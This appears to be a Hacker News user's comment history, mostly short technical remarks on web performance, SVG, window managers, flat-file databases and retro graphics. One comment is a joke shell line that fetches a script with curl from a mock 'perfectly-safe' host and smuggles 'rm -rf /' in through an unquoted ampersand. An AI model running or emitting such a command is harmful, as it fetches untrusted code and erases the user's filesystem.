TheZenPsycho

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by TheZenPsycho 12y ago
OSX fundamentally doesn't support robust tiling window managers. they exist only as a pale shadow of the real thing.
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by TheZenPsycho 12y ago
My current obsession is finding a way to filter an image to display using the sharp MZ-series character set: http://www.sharpmz.org/mz-700/codetable.htm Very interesting symbol table for its time. Japanese so, it'
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by TheZenPsycho 12y ago
Yes, wanting some other language in the browser is a very common wish on hacker news. It's just completely and utterly impractical in real life. Even if you found some way to get some other language into the browser without translating
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by TheZenPsycho 12y ago
>How's that offline web apps thing going? it was going just fine until apple disabled it in iOS7 but despite that setback, google continues to bank its entire business on offline web apps.
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by TheZenPsycho 12y ago
Yep. just compile it to javascript/asm.js and you get basically native speed, same security sandbox as javascript, and all the same problems with the web; the vast majority of which have absolutely nothing to do with javascript.
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by TheZenPsycho 12y ago
the performance and memory bottleneck in the web is not, as it is commonly believed, javascript, or html. It's the increasingly complicated DOM, and CSS3 layout model. Web Apps go slow, and this gets blamed on javascript because that&#
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by TheZenPsycho 12y ago
It's the worst web platform except for all other platforms.
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by TheZenPsycho 12y ago
curl http://www.perfectly-safe.com/script.sh?whoops&rm""-rf""/""
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by TheZenPsycho 12y ago
This is a philosophical problem. What is the difference really between: 1. a prewritten engine, and 2. some hypothetical language each where you write commander keen with 3k loc. Where the hypothetical language has all the same stuff as the
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by TheZenPsycho 12y ago
33k sounds like a lot. I should think a game like this today would be more like 3k, or maybe 10k at most + engine code + content. Nowadays you see, it's wasteful to write an engine from scratch for a game like this. It was needed then,
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by TheZenPsycho 12y ago
What about ditching the caps-lock key and making it a "command" key, that you hold down to type in a command?
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by TheZenPsycho 12y ago
I thought for a moment you'd "stolen" my idea. (stolen in quotes, because I never told anyone, and ideas can be arrived at independantly, why not?) The idea I had was extending ansi codes to contain specific instructions for
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by TheZenPsycho 12y ago
Hey great work. I wonder how hard it would be to adapt this to creating teletext art as well?
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by TheZenPsycho 12y ago
>> "document.querySelectorAll" must be called on the document object, and reassigning it to a variable like this will make it be called with "this" assigned to the global object, or "undefined" if you&#x2
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by TheZenPsycho 12y ago
>> since a flat file could be binary data...
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by TheZenPsycho 12y ago
Well I suppose then maybe I have the wrong idea of what "flat file database" means. To you anyway. I would not actually describe sqlite as a flat file database system... Since the data cannot be read safely directly from the file,
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by TheZenPsycho 12y ago
Do you think in theory that it is possible to create a flat file based system that is multi-thread/multiuser safe? My somewhat ignorant inclination is to suggest that maildir fits this description.
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by TheZenPsycho 12y ago
not to mention things like hblank interrupt based parallax scrolling!
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by TheZenPsycho 12y ago
this is way cool. I wonder if there's an easier way to find those entry points. For videoram for instance, isn't it possible to set a break point on a write to some spot in vram, and then dump stack at that point- one of the funct
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by TheZenPsycho 12y ago
would you have done just a straight clone or would you improve the visual output in some way? what sorts of things could you do while retaining pinout compatibility?
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by TheZenPsycho 12y ago
sometimes the barrier to entry is simply not knowing anyone you can ask. I'd almost suggest something like 99 designs but, the problem with that site is it significantly devalues the work of artists. I would hope that any tool that
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by TheZenPsycho 12y ago
The original motivation for SFXR is the number of games produced that were simply silent . SFXR changed that to not silent. It sounds cheap to say this, I'll admit. But if you want a better world you've got to make the tools tha
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by TheZenPsycho 12y ago
it started out with sfxr [1] then the clones started the mac clone cfxr [2] the flash clone, you linked to. the fork of that, called bfxr [3] the ios port [4] the (much better, in my opinion than OP), js port [5] sfxr.js [6] sfmaker [7] and
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by TheZenPsycho 12y ago
Interesting. What did freehand have that illustrator does not?
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by TheZenPsycho 12y ago
"this book is aimed at newcomers to the field of logical reasoning" What I find in practice with these (quite popular) lists of logical fallacies, is that they are usually written with the assumption that the reader is already fam
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by TheZenPsycho 12y ago
hmm I may have to iron out some bugs.
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by TheZenPsycho 12y ago
I think I am having issues with http headers on my server, making not the best impression.
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by TheZenPsycho 12y ago
sequence of still images from jpeg frames is still an improvement over gif for that usecase. Plus, all the same optimisations (and more) that have been available to gif for that use case are also available to SVG. Just not in any authoring
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by TheZenPsycho 12y ago
Yes. SVG works in that use case. with animations. it does. I misunderstood nothing. behold: http://www.zenpsycho.com/squirrelrun.html
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by TheZenPsycho 12y ago
as I've commented before, SVG fits pretty much all those criteria: - works inside an <img> tag - works in background: url() - supports both smil animation and css animation - supported back to IE10 (with css animations) - plays a

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